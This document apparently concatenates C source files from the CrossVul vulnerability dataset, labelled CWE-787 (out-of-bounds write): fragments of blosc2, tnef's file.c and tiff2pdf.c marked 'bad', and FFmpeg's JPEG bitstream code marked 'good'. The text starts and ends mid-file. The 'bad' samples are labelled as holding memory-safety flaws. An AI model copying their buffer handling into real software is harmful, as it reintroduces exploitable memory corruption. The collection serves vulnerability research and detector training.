ZSTD_freeDDict(context->dict_ddict); #endif } if (context->btune != NULL) { btune_free(context); } if (context->prefilter != NULL) { my_free(context->pparams); } if (context->block_maskout != NULL) { free(context->block_maskout); } my_free(context); } /* Set a maskout in decompression context */ int blosc2_set_maskout(blosc2_context *ctx, bool *maskout, int nblocks) { if (ctx->block_maskout != NULL) { // Get rid of a possible mask here free(ctx->block_maskout); } bool *maskout_ = malloc(nblocks); memcpy(maskout_, maskout, nblocks); ctx->block_maskout = maskout_; ctx->block_maskout_nitems = nblocks; return 0; }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_4464_0
crossvul-cpp_data_bad_3172_0
/* * file.c -- functions for dealing with file output * * Copyright (C)1999-2006 Mark Simpson <damned@theworld.com> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2, or (at your option) * any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, you can either send email to this * program's maintainer or write to: The Free Software Foundation, * Inc.; 59 Temple Place, Suite 330; Boston, MA 02111-1307, USA. * */ #ifdef HAVE_CONFIG_H # include "config.h" #endif /* HAVE_CONFIG_H */ #include "common.h" #include "alloc.h" #include "date.h" #include "debug.h" #include "file.h" #include "mapi_attr.h" #include "options.h" #include "path.h" #define TNEF_DEFAULT_FILENAME "tnef-tmp" /* ask user for confirmation of the action */ static int confirm_action (const char *prompt, ...) { if (INTERACTIVE) { int confirmed = 0; char buf[BUFSIZ + 1]; va_list args; va_start (args, prompt); VPRINTF(stdout, prompt, args); fgets (buf, BUFSIZ, stdin); if (buf[0] == 'y' || buf[0] == 'Y') confirmed = 1; va_end (args); return confirmed; } return 1; } void file_write (File *file, const char* directory) { char *path = NULL; assert (file); if (!file) return; if (file->name == NULL) { file->name = strdup( TNEF_DEFAULT_FILENAME ); debug_print ("No file name specified, using default %s.\n", TNEF_DEFAULT_FILENAME); } if ( file->path == NULL ) { file->path = munge_fname( file->name ); if (file->path == NULL) { file->path = strdup( TNEF_DEFAULT_FILENAME ); debug_print ("No path name available, using default %s.\n", TNEF_DEFAULT_FILENAME); } } path = concat_fname( directory, file->path ); if (path == NULL) { path = strdup( TNEF_DEFAULT_FILENAME ); debug_print ("No path generated, using default %s.\n", TNEF_DEFAULT_FILENAME); } debug_print ("%sWRITING\t|\t%s\t|\t%s\n", ((LIST_ONLY==0)?"":"NOT "), file->name, path); if (!LIST_ONLY) { FILE *fp = NULL; if (!confirm_action ("extract %s?", file->name)) return; if (!OVERWRITE_FILES) { if (file_exists (path)) { if (!NUMBER_FILES) { fprintf (stderr, "tnef: %s: Could not create file: File exists\n", path); return; } else { char *tmp = find_free_number (path); debug_print ("Renaming %s to %s\n", path, tmp); XFREE (path); path = tmp; } } } fp = fopen (path, "wb"); if (fp == NULL) { perror (path); exit (1); } if (fwrite (file->data, 1, file->len, fp) != file->len) { perror (path); exit (1); } fclose (fp); } if (LIST_ONLY || VERBOSE_ON) { if (LIST_ONLY && VERBOSE_ON) { /* FIXME: print out date and stuff */ const char *date_str = date_to_str(&file->dt); fprintf (stdout, "%11lu\t|\t%s\t|\t%s\t|\t%s", (unsigned long)file->len, date_str+4, /* skip the day of week */ file->name, path); } else { fprintf (stdout, "%s\t|\t%s", file->name, path); } if ( SHOW_MIME ) { fprintf (stdout, "\t|\t%s", file->mime_type ? file->mime_type : "unknown"); fprintf (stdout, "\t|\t%s", file->content_id ? file->content_id : ""); } fprintf (stdout, "\n"); } XFREE(path); } static void file_add_mapi_attrs (File* file, MAPI_Attr** attrs) { int i; for (i = 0; attrs[i]; i++) { MAPI_Attr* a = attrs[i]; if (a->num_values) { switch (a->name) { case MAPI_ATTACH_LONG_FILENAME: if (file->name) XFREE(file->name); file->name = strdup( (char*)a->values[0].data.buf ); break; case MAPI_ATTACH_DATA_OBJ: file->len = a->values[0].len; if (file->data) XFREE (file->data); file->data = CHECKED_XMALLOC (unsigned char, file->len); memmove (file->data, a->values[0].data.buf, file->len); break; case MAPI_ATTACH_MIME_TAG: if (file->mime_type) XFREE (file->mime_type); file->mime_type = CHECKED_XMALLOC (char, a->values[0].len); memmove (file->mime_type, a->values[0].data.buf, a->values[0].len); break; case MAPI_ATTACH_CONTENT_ID: if (file->content_id) XFREE(file->content_id); file->content_id = CHECKED_XMALLOC (char, a->values[0].len); memmove (file->content_id, a->values[0].data.buf, a->values[0].len); break; default: break; } } } } void file_add_attr (File* file, Attr* attr) { assert (file && attr); if (!(file && attr)) return; /* we only care about some things... we will skip most attributes */ switch (attr->name) { case attATTACHMODIFYDATE: copy_date_from_attr (attr, &file->dt); break; case attATTACHMENT: { MAPI_Attr **mapi_attrs = mapi_attr_read (attr->len, attr->buf); if (mapi_attrs) { file_add_mapi_attrs (file, mapi_attrs); mapi_attr_free_list (mapi_attrs); XFREE (mapi_attrs); } } break; case attATTACHTITLE: file->name = strdup( (char*)attr->buf ); break; case attATTACHDATA: file->len = attr->len; file->data = CHECKED_XMALLOC(unsigned char, attr->len); memmove (file->data, attr->buf, attr->len); break; default: break; } } void file_free (File *file) { if (file) { XFREE (file->name); XFREE (file->data); XFREE (file->mime_type); XFREE (file->content_id); XFREE (file->path); memset (file, '\0', sizeof (File)); } }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_3172_0
crossvul-cpp_data_good_3991_0
/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * FFmpeg is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with FFmpeg; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #include "cbs.h" #include "cbs_internal.h" #include "cbs_jpeg.h" #define HEADER(name) do { \ ff_cbs_trace_header(ctx, name); \ } while (0) #define CHECK(call) do { \ err = (call); \ if (err < 0) \ return err; \ } while (0) #define SUBSCRIPTS(subs, ...) (subs > 0 ? ((int[subs + 1]){ subs, __VA_ARGS__ }) : NULL) #define u(width, name, range_min, range_max) \ xu(width, name, range_min, range_max, 0) #define us(width, name, sub, range_min, range_max) \ xu(width, name, range_min, range_max, 1, sub) #define READ #define READWRITE read #define RWContext GetBitContext #define FUNC(name) cbs_jpeg_read_ ## name #define xu(width, name, range_min, range_max, subs, ...) do { \ uint32_t value; \ CHECK(ff_cbs_read_unsigned(ctx, rw, width, #name, \ SUBSCRIPTS(subs, __VA_ARGS__), \ &value, range_min, range_max)); \ current->name = value; \ } while (0) #include "cbs_jpeg_syntax_template.c" #undef READ #undef READWRITE #undef RWContext #undef FUNC #undef xu #define WRITE #define READWRITE write #define RWContext PutBitContext #define FUNC(name) cbs_jpeg_write_ ## name #define xu(width, name, range_min, range_max, subs, ...) do { \ uint32_t value = current->name; \ CHECK(ff_cbs_write_unsigned(ctx, rw, width, #name, \ SUBSCRIPTS(subs, __VA_ARGS__), \ value, range_min, range_max)); \ } while (0) #include "cbs_jpeg_syntax_template.c" #undef WRITE #undef READWRITE #undef RWContext #undef FUNC #undef xu static void cbs_jpeg_free_application_data(void *opaque, uint8_t *content) { JPEGRawApplicationData *ad = (JPEGRawApplicationData*)content; av_buffer_unref(&ad->Ap_ref); av_freep(&content); } static void cbs_jpeg_free_comment(void *opaque, uint8_t *content) { JPEGRawComment *comment = (JPEGRawComment*)content; av_buffer_unref(&comment->Cm_ref); av_freep(&content); } static void cbs_jpeg_free_scan(void *opaque, uint8_t *content) { JPEGRawScan *scan = (JPEGRawScan*)content; av_buffer_unref(&scan->data_ref); av_freep(&content); } static int cbs_jpeg_split_fragment(CodedBitstreamContext *ctx, CodedBitstreamFragment *frag, int header) { AVBufferRef *data_ref; uint8_t *data; size_t data_size; int unit, start, end, marker, next_start, next_marker; int err, i, j, length; if (frag->data_size < 4) { // Definitely too short to be meaningful. return AVERROR_INVALIDDATA; } for (i = 0; i + 1 < frag->data_size && frag->data[i] != 0xff; i++); if (i > 0) { av_log(ctx->log_ctx, AV_LOG_WARNING, "Discarding %d bytes at " "beginning of image.\n", i); } for (++i; i + 1 < frag->data_size && frag->data[i] == 0xff; i++); if (i + 1 >= frag->data_size && frag->data[i]) { av_log(ctx->log_ctx, AV_LOG_ERROR, "Invalid JPEG image: " "no SOI marker found.\n"); return AVERROR_INVALIDDATA; } marker = frag->data[i]; if (marker != JPEG_MARKER_SOI) { av_log(ctx->log_ctx, AV_LOG_ERROR, "Invalid JPEG image: first " "marker is %02x, should be SOI.\n", marker); return AVERROR_INVALIDDATA; } for (++i; i + 1 < frag->data_size && frag->data[i] == 0xff; i++); if (i + 1 >= frag->data_size) { av_log(ctx->log_ctx, AV_LOG_ERROR, "Invalid JPEG image: " "no image content found.\n"); return AVERROR_INVALIDDATA; } marker = frag->data[i]; start = i + 1; for (unit = 0;; unit++) { if (marker == JPEG_MARKER_EOI) { break; } else if (marker == JPEG_MARKER_SOS) { for (i = start; i + 1 < frag->data_size; i++) { if (frag->data[i] != 0xff) continue; end = i; for (++i; i + 1 < frag->data_size && frag->data[i] == 0xff; i++); if (i + 1 >= frag->data_size) { next_marker = -1; } else { if (frag->data[i] == 0x00) continue; next_marker = frag->data[i]; next_start = i + 1; } break; } } else { i = start; if (i + 2 > frag->data_size) { av_log(ctx->log_ctx, AV_LOG_ERROR, "Invalid JPEG image: " "truncated at %02x marker.\n", marker); return AVERROR_INVALIDDATA; } length = AV_RB16(frag->data + i); if (i + length > frag->data_size) { av_log(ctx->log_ctx, AV_LOG_ERROR, "Invalid JPEG image: " "truncated at %02x marker segment.\n", marker); return AVERROR_INVALIDDATA; } end = start + length; i = end; if (frag->data[i] != 0xff) { next_marker = -1; } else { for (++i; i + 1 < frag->data_size && frag->data[i] == 0xff; i++); if (i + 1 >= frag->data_size) { next_marker = -1; } else { next_marker = frag->data[i]; next_start = i + 1; } } } if (marker == JPEG_MARKER_SOS) { length = AV_RB16(frag->data + start); if (length > end - start) return AVERROR_INVALIDDATA; data_ref = NULL; data = av_malloc(end - start + AV_INPUT_BUFFER_PADDING_SIZE); if (!data) return AVERROR(ENOMEM); memcpy(data, frag->data + start, length); for (i = start + length, j = length; i < end; i++, j++) { if (frag->data[i] == 0xff) { while (frag->data[i] == 0xff) ++i; data[j] = 0xff; } else { data[j] = frag->data[i]; } } data_size = j; memset(data + data_size, 0, AV_INPUT_BUFFER_PADDING_SIZE); } else { data = frag->data + start; data_size = end - start; data_ref = frag->data_ref; } err = ff_cbs_insert_unit_data(ctx, frag, unit, marker, data, data_size, data_ref); if (err < 0) return err; if (next_marker == -1) break; marker = next_marker; start = next_start; } return 0; } static int cbs_jpeg_read_unit(CodedBitstreamContext *ctx, CodedBitstreamUnit *unit) { GetBitContext gbc; int err; err = init_get_bits(&gbc, unit->data, 8 * unit->data_size); if (err < 0) return err; if (unit->type >= JPEG_MARKER_SOF0 && unit->type <= JPEG_MARKER_SOF3) { err = ff_cbs_alloc_unit_content(ctx, unit, sizeof(JPEGRawFrameHeader), NULL); if (err < 0) return err; err = cbs_jpeg_read_frame_header(ctx, &gbc, unit->content); if (err < 0) return err; } else if (unit->type >= JPEG_MARKER_APPN && unit->type <= JPEG_MARKER_APPN + 15) { err = ff_cbs_alloc_unit_content(ctx, unit, sizeof(JPEGRawApplicationData), &cbs_jpeg_free_application_data); if (err < 0) return err; err = cbs_jpeg_read_application_data(ctx, &gbc, unit->content); if (err < 0) return err; } else if (unit->type == JPEG_MARKER_SOS) { JPEGRawScan *scan; int pos; err = ff_cbs_alloc_unit_content(ctx, unit, sizeof(JPEGRawScan), &cbs_jpeg_free_scan); if (err < 0) return err; scan = unit->content; err = cbs_jpeg_read_scan_header(ctx, &gbc, &scan->header); if (err < 0) return err; pos = get_bits_count(&gbc); av_assert0(pos % 8 == 0); if (pos > 0) { scan->data_size = unit->data_size - pos / 8; scan->data_ref = av_buffer_ref(unit->data_ref); if (!scan->data_ref) return AVERROR(ENOMEM); scan->data = unit->data + pos / 8; } } else { switch (unit->type) { #define SEGMENT(marker, type, func, free) \ case JPEG_MARKER_ ## marker: \ { \ err = ff_cbs_alloc_unit_content(ctx, unit, \ sizeof(type), free); \ if (err < 0) \ return err; \ err = cbs_jpeg_read_ ## func(ctx, &gbc, unit->content); \ if (err < 0) \ return err; \ } \ break SEGMENT(DQT, JPEGRawQuantisationTableSpecification, dqt, NULL); SEGMENT(DHT, JPEGRawHuffmanTableSpecification, dht, NULL); SEGMENT(COM, JPEGRawComment, comment, &cbs_jpeg_free_comment); #undef SEGMENT default: return AVERROR(ENOSYS); } } return 0; } static int cbs_jpeg_write_scan(CodedBitstreamContext *ctx, CodedBitstreamUnit *unit, PutBitContext *pbc) { JPEGRawScan *scan = unit->content; int err; err = cbs_jpeg_write_scan_header(ctx, pbc, &scan->header); if (err < 0) return err; if (scan->data) { if (scan->data_size * 8 > put_bits_left(pbc)) return AVERROR(ENOSPC); av_assert0(put_bits_count(pbc) % 8 == 0); flush_put_bits(pbc); memcpy(put_bits_ptr(pbc), scan->data, scan->data_size); skip_put_bytes(pbc, scan->data_size); } return 0; } static int cbs_jpeg_write_segment(CodedBitstreamContext *ctx, CodedBitstreamUnit *unit, PutBitContext *pbc) { int err; if (unit->type >= JPEG_MARKER_SOF0 && unit->type <= JPEG_MARKER_SOF3) { err = cbs_jpeg_write_frame_header(ctx, pbc, unit->content); } else if (unit->type >= JPEG_MARKER_APPN && unit->type <= JPEG_MARKER_APPN + 15) { err = cbs_jpeg_write_application_data(ctx, pbc, unit->content); } else { switch (unit->type) { #define SEGMENT(marker, func) \ case JPEG_MARKER_ ## marker: \ err = cbs_jpeg_write_ ## func(ctx, pbc, unit->content); \ break; SEGMENT(DQT, dqt); SEGMENT(DHT, dht); SEGMENT(COM, comment); default: return AVERROR_PATCHWELCOME; } } return err; } static int cbs_jpeg_write_unit(CodedBitstreamContext *ctx, CodedBitstreamUnit *unit, PutBitContext *pbc) { if (unit->type == JPEG_MARKER_SOS) return cbs_jpeg_write_scan (ctx, unit, pbc); else return cbs_jpeg_write_segment(ctx, unit, pbc); } static int cbs_jpeg_assemble_fragment(CodedBitstreamContext *ctx, CodedBitstreamFragment *frag) { const CodedBitstreamUnit *unit; uint8_t *data; size_t size, dp, sp; int i; size = 4; // SOI + EOI. for (i = 0; i < frag->nb_units; i++) { unit = &frag->units[i]; size += 2 + unit->data_size; if (unit->type == JPEG_MARKER_SOS) { for (sp = 0; sp < unit->data_size; sp++) { if (unit->data[sp] == 0xff) ++size; } } } frag->data_ref = av_buffer_alloc(size + AV_INPUT_BUFFER_PADDING_SIZE); if (!frag->data_ref) return AVERROR(ENOMEM); data = frag->data_ref->data; dp = 0; data[dp++] = 0xff; data[dp++] = JPEG_MARKER_SOI; for (i = 0; i < frag->nb_units; i++) { unit = &frag->units[i]; data[dp++] = 0xff; data[dp++] = unit->type; if (unit->type != JPEG_MARKER_SOS) { memcpy(data + dp, unit->data, unit->data_size); dp += unit->data_size; } else { sp = AV_RB16(unit->data); av_assert0(sp <= unit->data_size); memcpy(data + dp, unit->data, sp); dp += sp; for (; sp < unit->data_size; sp++) { if (unit->data[sp] == 0xff) { data[dp++] = 0xff; data[dp++] = 0x00; } else { data[dp++] = unit->data[sp]; } } } } data[dp++] = 0xff; data[dp++] = JPEG_MARKER_EOI; av_assert0(dp == size); memset(data + size, 0, AV_INPUT_BUFFER_PADDING_SIZE); frag->data = data; frag->data_size = size; return 0; } const CodedBitstreamType ff_cbs_type_jpeg = { .codec_id = AV_CODEC_ID_MJPEG, .split_fragment = &cbs_jpeg_split_fragment, .read_unit = &cbs_jpeg_read_unit, .write_unit = &cbs_jpeg_write_unit, .assemble_fragment = &cbs_jpeg_assemble_fragment, };
./CrossVul/dataset_final_sorted/CWE-787/c/good_3991_0
crossvul-cpp_data_bad_5474_3
/* $Id$ * * tiff2pdf - converts a TIFF image to a PDF document * * Copyright (c) 2003 Ross Finlayson * * Permission to use, copy, modify, distribute, and sell this software and * its documentation for any purpose is hereby granted without fee, provided * that (i) the above copyright notices and this permission notice appear in * all copies of the software and related documentation, and (ii) the name of * Ross Finlayson may not be used in any advertising or * publicity relating to the software without the specific, prior written * permission of Ross Finlayson. * * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. * * IN NO EVENT SHALL ROSS FINLAYSON BE LIABLE FOR * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND, * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE * OF THIS SOFTWARE. */ #include "tif_config.h" #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include <time.h> #include <errno.h> #include <limits.h> #if HAVE_UNISTD_H # include <unistd.h> #endif #ifdef HAVE_FCNTL_H # include <fcntl.h> #endif #ifdef HAVE_IO_H # include <io.h> #endif #ifdef NEED_LIBPORT # include "libport.h" #endif #include "tiffiop.h" #include "tiffio.h" #ifndef HAVE_GETOPT extern int getopt(int, char**, char*); #endif #ifndef EXIT_SUCCESS # define EXIT_SUCCESS 0 #endif #ifndef EXIT_FAILURE # define EXIT_FAILURE 1 #endif #define TIFF2PDF_MODULE "tiff2pdf" #define PS_UNIT_SIZE 72.0F /* This type is of PDF color spaces. */ typedef enum { T2P_CS_BILEVEL = 0x01, /* Bilevel, black and white */ T2P_CS_GRAY = 0x02, /* Single channel */ T2P_CS_RGB = 0x04, /* Three channel tristimulus RGB */ T2P_CS_CMYK = 0x08, /* Four channel CMYK print inkset */ T2P_CS_LAB = 0x10, /* Three channel L*a*b* color space */ T2P_CS_PALETTE = 0x1000,/* One of the above with a color map */ T2P_CS_CALGRAY = 0x20, /* Calibrated single channel */ T2P_CS_CALRGB = 0x40, /* Calibrated three channel tristimulus RGB */ T2P_CS_ICCBASED = 0x80 /* ICC profile color specification */ } t2p_cs_t; /* This type is of PDF compression types. */ typedef enum{ T2P_COMPRESS_NONE=0x00 #ifdef CCITT_SUPPORT , T2P_COMPRESS_G4=0x01 #endif #if defined(JPEG_SUPPORT) || defined(OJPEG_SUPPORT) , T2P_COMPRESS_JPEG=0x02 #endif #ifdef ZIP_SUPPORT , T2P_COMPRESS_ZIP=0x04 #endif } t2p_compress_t; /* This type is whether TIFF image data can be used in PDF without transcoding. */ typedef enum{ T2P_TRANSCODE_RAW=0x01, /* The raw data from the input can be used without recompressing */ T2P_TRANSCODE_ENCODE=0x02 /* The data from the input is perhaps unencoded and reencoded */ } t2p_transcode_t; /* This type is of information about the data samples of the input image. */ typedef enum{ T2P_SAMPLE_NOTHING=0x0000, /* The unencoded samples are normal for the output colorspace */ T2P_SAMPLE_ABGR_TO_RGB=0x0001, /* The unencoded samples are the result of ReadRGBAImage */ T2P_SAMPLE_RGBA_TO_RGB=0x0002, /* The unencoded samples are contiguous RGBA */ T2P_SAMPLE_RGBAA_TO_RGB=0x0004, /* The unencoded samples are RGBA with premultiplied alpha */ T2P_SAMPLE_YCBCR_TO_RGB=0x0008, T2P_SAMPLE_YCBCR_TO_LAB=0x0010, T2P_SAMPLE_REALIZE_PALETTE=0x0020, /* The unencoded samples are indexes into the color map */ T2P_SAMPLE_SIGNED_TO_UNSIGNED=0x0040, /* The unencoded samples are signed instead of unsignd */ T2P_SAMPLE_LAB_SIGNED_TO_UNSIGNED=0x0040, /* The L*a*b* samples have a* and b* signed */ T2P_SAMPLE_PLANAR_SEPARATE_TO_CONTIG=0x0100 /* The unencoded samples are separate instead of contiguous */ } t2p_sample_t; /* This type is of error status of the T2P struct. */ typedef enum{ T2P_ERR_OK = 0, /* This is the value of t2p->t2p_error when there is no error */ T2P_ERR_ERROR = 1 /* This is the value of t2p->t2p_error when there was an error */ } t2p_err_t; /* This struct defines a logical page of a TIFF. */ typedef struct { tdir_t page_directory; uint32 page_number; ttile_t page_tilecount; uint32 page_extra; } T2P_PAGE; /* This struct defines a PDF rectangle's coordinates. */ typedef struct { float x1; float y1; float x2; float y2; float mat[9]; } T2P_BOX; /* This struct defines a tile of a PDF. */ typedef struct { T2P_BOX tile_box; } T2P_TILE; /* This struct defines information about the tiles on a PDF page. */ typedef struct { ttile_t tiles_tilecount; uint32 tiles_tilewidth; uint32 tiles_tilelength; uint32 tiles_tilecountx; uint32 tiles_tilecounty; uint32 tiles_edgetilewidth; uint32 tiles_edgetilelength; T2P_TILE* tiles_tiles; } T2P_TILES; /* This struct is the context of a function to generate PDF from a TIFF. */ typedef struct { t2p_err_t t2p_error; T2P_PAGE* tiff_pages; T2P_TILES* tiff_tiles; tdir_t tiff_pagecount; uint16 tiff_compression; uint16 tiff_photometric; uint16 tiff_fillorder; uint16 tiff_bitspersample; uint16 tiff_samplesperpixel; uint16 tiff_planar; uint32 tiff_width; uint32 tiff_length; float tiff_xres; float tiff_yres; uint16 tiff_orientation; toff_t tiff_dataoffset; tsize_t tiff_datasize; uint16 tiff_resunit; uint16 pdf_centimeters; uint16 pdf_overrideres; uint16 pdf_overridepagesize; float pdf_defaultxres; float pdf_defaultyres; float pdf_xres; float pdf_yres; float pdf_defaultpagewidth; float pdf_defaultpagelength; float pdf_pagewidth; float pdf_pagelength; float pdf_imagewidth; float pdf_imagelength; int pdf_image_fillpage; /* 0 (default: no scaling, 1:scale imagesize to pagesize */ T2P_BOX pdf_mediabox; T2P_BOX pdf_imagebox; uint16 pdf_majorversion; uint16 pdf_minorversion; uint32 pdf_catalog; uint32 pdf_pages; uint32 pdf_info; uint32 pdf_palettecs; uint16 pdf_fitwindow; uint32 pdf_startxref; #define TIFF2PDF_FILEID_SIZE 33 char pdf_fileid[TIFF2PDF_FILEID_SIZE]; #define TIFF2PDF_DATETIME_SIZE 17 char pdf_datetime[TIFF2PDF_DATETIME_SIZE]; #define TIFF2PDF_CREATOR_SIZE 512 char pdf_creator[TIFF2PDF_CREATOR_SIZE]; #define TIFF2PDF_AUTHOR_SIZE 512 char pdf_author[TIFF2PDF_AUTHOR_SIZE]; #define TIFF2PDF_TITLE_SIZE 512 char pdf_title[TIFF2PDF_TITLE_SIZE]; #define TIFF2PDF_SUBJECT_SIZE 512 char pdf_subject[TIFF2PDF_SUBJECT_SIZE]; #define TIFF2PDF_KEYWORDS_SIZE 512 char pdf_keywords[TIFF2PDF_KEYWORDS_SIZE]; t2p_cs_t pdf_colorspace; uint16 pdf_colorspace_invert; uint16 pdf_switchdecode; uint16 pdf_palettesize; unsigned char* pdf_palette; int pdf_labrange[4]; t2p_compress_t pdf_defaultcompression; uint16 pdf_defaultcompressionquality; t2p_compress_t pdf_compression; uint16 pdf_compressionquality; uint16 pdf_nopassthrough; t2p_transcode_t pdf_transcode; t2p_sample_t pdf_sample; uint32* pdf_xrefoffsets; uint32 pdf_xrefcount; tdir_t pdf_page; #ifdef OJPEG_SUPPORT tdata_t pdf_ojpegdata; uint32 pdf_ojpegdatalength; uint32 pdf_ojpegiflength; #endif float tiff_whitechromaticities[2]; float tiff_primarychromaticities[6]; float tiff_referenceblackwhite[2]; float* tiff_transferfunction[3]; int pdf_image_interpolate; /* 0 (default) : do not interpolate, 1 : interpolate */ uint16 tiff_transferfunctioncount; uint32 pdf_icccs; uint32 tiff_iccprofilelength; tdata_t tiff_iccprofile; /* fields for custom read/write procedures */ FILE *outputfile; int outputdisable; tsize_t outputwritten; } T2P; /* These functions are called by main. */ void tiff2pdf_usage(void); int tiff2pdf_match_paper_size(float*, float*, char*); /* These functions are used to generate a PDF from a TIFF. */ #ifdef __cplusplus extern "C" { #endif T2P* t2p_init(void); void t2p_validate(T2P*); tsize_t t2p_write_pdf(T2P*, TIFF*, TIFF*); void t2p_free(T2P*); #ifdef __cplusplus } #endif void t2p_read_tiff_init(T2P*, TIFF*); int t2p_cmp_t2p_page(const void*, const void*); void t2p_read_tiff_data(T2P*, TIFF*); void t2p_read_tiff_size(T2P*, TIFF*); void t2p_read_tiff_size_tile(T2P*, TIFF*, ttile_t); int t2p_tile_is_right_edge(T2P_TILES, ttile_t); int t2p_tile_is_bottom_edge(T2P_TILES, ttile_t); int t2p_tile_is_edge(T2P_TILES, ttile_t); int t2p_tile_is_corner_edge(T2P_TILES, ttile_t); tsize_t t2p_readwrite_pdf_image(T2P*, TIFF*, TIFF*); tsize_t t2p_readwrite_pdf_image_tile(T2P*, TIFF*, TIFF*, ttile_t); #ifdef OJPEG_SUPPORT int t2p_process_ojpeg_tables(T2P*, TIFF*); #endif #ifdef JPEG_SUPPORT int t2p_process_jpeg_strip(unsigned char*, tsize_t*, unsigned char*, tsize_t*, tstrip_t, uint32); #endif void t2p_tile_collapse_left(tdata_t, tsize_t, uint32, uint32, uint32); void t2p_write_advance_directory(T2P*, TIFF*); tsize_t t2p_sample_planar_separate_to_contig(T2P*, unsigned char*, unsigned char*, tsize_t); tsize_t t2p_sample_realize_palette(T2P*, unsigned char*); tsize_t t2p_sample_abgr_to_rgb(tdata_t, uint32); tsize_t t2p_sample_rgba_to_rgb(tdata_t, uint32); tsize_t t2p_sample_rgbaa_to_rgb(tdata_t, uint32); tsize_t t2p_sample_lab_signed_to_unsigned(tdata_t, uint32); tsize_t t2p_write_pdf_header(T2P*, TIFF*); tsize_t t2p_write_pdf_obj_start(uint32, TIFF*); tsize_t t2p_write_pdf_obj_end(TIFF*); tsize_t t2p_write_pdf_name(unsigned char*, TIFF*); tsize_t t2p_write_pdf_string(char*, TIFF*); tsize_t t2p_write_pdf_stream(tdata_t, tsize_t, TIFF*); tsize_t t2p_write_pdf_stream_start(TIFF*); tsize_t t2p_write_pdf_stream_end(TIFF*); tsize_t t2p_write_pdf_stream_dict(tsize_t, uint32, TIFF*); tsize_t t2p_write_pdf_stream_dict_start(TIFF*); tsize_t t2p_write_pdf_stream_dict_end(TIFF*); tsize_t t2p_write_pdf_stream_length(tsize_t, TIFF*); tsize_t t2p_write_pdf_catalog(T2P*, TIFF*); tsize_t t2p_write_pdf_info(T2P*, TIFF*, TIFF*); void t2p_pdf_currenttime(T2P*); void t2p_pdf_tifftime(T2P*, TIFF*); tsize_t t2p_write_pdf_pages(T2P*, TIFF*); tsize_t t2p_write_pdf_page(uint32, T2P*, TIFF*); void t2p_compose_pdf_page(T2P*); void t2p_compose_pdf_page_orient(T2P_BOX*, uint16); void t2p_compose_pdf_page_orient_flip(T2P_BOX*, uint16); tsize_t t2p_write_pdf_page_content(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_stream_dict(ttile_t, T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_cs(T2P*, TIFF*); tsize_t t2p_write_pdf_transfer(T2P*, TIFF*); tsize_t t2p_write_pdf_transfer_dict(T2P*, TIFF*, uint16); tsize_t t2p_write_pdf_transfer_stream(T2P*, TIFF*, uint16); tsize_t t2p_write_pdf_xobject_calcs(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_icccs(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_icccs_dict(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_icccs_stream(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_cs_stream(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_decode(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_stream_filter(ttile_t, T2P*, TIFF*); tsize_t t2p_write_pdf_xreftable(T2P*, TIFF*); tsize_t t2p_write_pdf_trailer(T2P*, TIFF*); #define check_snprintf_ret(t2p, rv, buf) do { \ if ((rv) < 0) rv = 0; \ else if((rv) >= (int)sizeof(buf)) (rv) = sizeof(buf) - 1; \ else break; \ if ((t2p) != NULL) (t2p)->t2p_error = T2P_ERR_ERROR; \ } while(0) static void t2p_disable(TIFF *tif) { T2P *t2p = (T2P*) TIFFClientdata(tif); t2p->outputdisable = 1; } static void t2p_enable(TIFF *tif) { T2P *t2p = (T2P*) TIFFClientdata(tif); t2p->outputdisable = 0; } /* * Procs for TIFFClientOpen */ #ifdef OJPEG_SUPPORT static tmsize_t t2pReadFile(TIFF *tif, tdata_t data, tmsize_t size) { thandle_t client = TIFFClientdata(tif); TIFFReadWriteProc proc = TIFFGetReadProc(tif); if (proc) return proc(client, data, size); return -1; } #endif /* OJPEG_SUPPORT */ static tmsize_t t2pWriteFile(TIFF *tif, tdata_t data, tmsize_t size) { thandle_t client = TIFFClientdata(tif); TIFFReadWriteProc proc = TIFFGetWriteProc(tif); if (proc) return proc(client, data, size); return -1; } static uint64 t2pSeekFile(TIFF *tif, toff_t offset, int whence) { thandle_t client = TIFFClientdata(tif); TIFFSeekProc proc = TIFFGetSeekProc(tif); if (proc) return proc(client, offset, whence); return -1; } static tmsize_t t2p_readproc(thandle_t handle, tdata_t data, tmsize_t size) { (void) handle, (void) data, (void) size; return -1; } static tmsize_t t2p_writeproc(thandle_t handle, tdata_t data, tmsize_t size) { T2P *t2p = (T2P*) handle; if (t2p->outputdisable <= 0 && t2p->outputfile) { tsize_t written = fwrite(data, 1, size, t2p->outputfile); t2p->outputwritten += written; return written; } return size; } static uint64 t2p_seekproc(thandle_t handle, uint64 offset, 